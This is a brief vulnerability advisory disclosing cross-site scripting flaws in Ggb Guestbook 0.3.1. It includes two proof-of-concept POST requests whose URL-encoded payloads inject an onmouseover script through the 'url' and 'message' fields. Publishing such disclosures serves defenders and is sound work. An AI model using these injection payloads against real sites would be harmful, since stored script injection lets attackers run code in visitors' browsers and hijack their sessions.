Title: Ggb Guestbook - XSS Vulnerabilities Software : Ggb Guestbook Software Version : 0.3.1 Vendor: http://gelin.ru/soft/project/ggb/ http://code.google.com/p/ggbook/ Vulnerability Published : 2012-01-05 Vulnerability Update Time : Status : Impact : Medium Bug Description : Ggb Guestbook(version update : 0.3.1) is vulnerable to XSS. Proof Of Concept : 1)url in action/add-submit.php , PoC: POST http://127.0.0.1/ggb/?action=add-submit ------------------------------------------------- name=demonalex&email=&url=%22+onmouseover%3D%22javascript%3Aalert%28%27demonalex%27%29%3B%22%3E&message=demonalex 2)message in action/add-submit.php , PoC: POST http://192.168.10.211/ggb/?action=add-submit ------------------------------------------------- name=aaa&email=&url=bbb&message=%3Cimg+src%3D%22aaa.jpg%22+onmouseover%3D%22javascript%3Aalert%28%27demonalex%27%29%3B%22%3E Credits : This vulnerability was discovered by demonalex(at)163(dot)com mail: demonalex(at)163(dot)com / ChaoYi.Huang@connect.polyu.hk Pentester/Researcher Dark2S Security Team/PolyU.HK